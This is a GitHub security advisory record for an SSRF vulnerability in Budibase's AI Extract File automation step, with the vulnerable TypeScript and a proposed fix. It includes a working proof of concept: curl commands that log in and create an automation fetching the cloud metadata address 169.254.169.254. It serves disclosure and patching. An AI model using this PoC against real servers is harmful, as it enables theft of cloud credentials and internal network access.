{"id":"GHSA-rpj4-7x2v-wjrf","summary":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","details":"## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetch(fileUrl)  // NO blacklist check!\n  // ...\n  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** — the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}'\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/automations\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n  -d '{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}'\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n  packages/server/src/automations/steps/ai/extract.ts:116\n    const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n  packages/server/src/automations/steps/slack.ts:19\n    response = await fetchWithBlacklist(url, {...})\n  packages/server/src/automations/steps/discord.ts:28\n    response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist\n  // ...\n  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist\n}\n```","aliases":["CVE-2026-45548"],"modified":"2026-09-10T03:51:07.001385739Z","published":"2026-05-15T17:47:10Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-15T17:47:10Z","nvd_published_at":"2026-05-27T18:16:25Z","cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-rpj4-7x2v-wjrf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45548"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/3.38.4"}],"affected":[{"package":{"name":"@budibase/server","ecosystem":"npm","purl":"pkg:npm/%40budibase/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.34.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-rpj4-7x2v-wjrf/GHSA-rpj4-7x2v-wjrf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}